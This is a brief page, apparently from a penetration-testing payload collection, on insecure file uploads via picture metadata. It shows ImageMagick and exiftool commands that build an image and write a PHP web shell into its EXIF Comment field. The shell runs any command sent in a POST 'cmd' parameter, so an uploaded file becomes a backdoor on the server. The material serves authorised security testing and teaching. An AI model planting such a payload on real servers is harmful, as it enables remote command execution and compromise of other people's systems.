Upload Insecure Files: Picture Metadata
Create a custom picture and insert exif tag with exiftool. A list of multiple exif tags can be found at https://exiv2.org/tags.html
convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
Comments
No comments yet.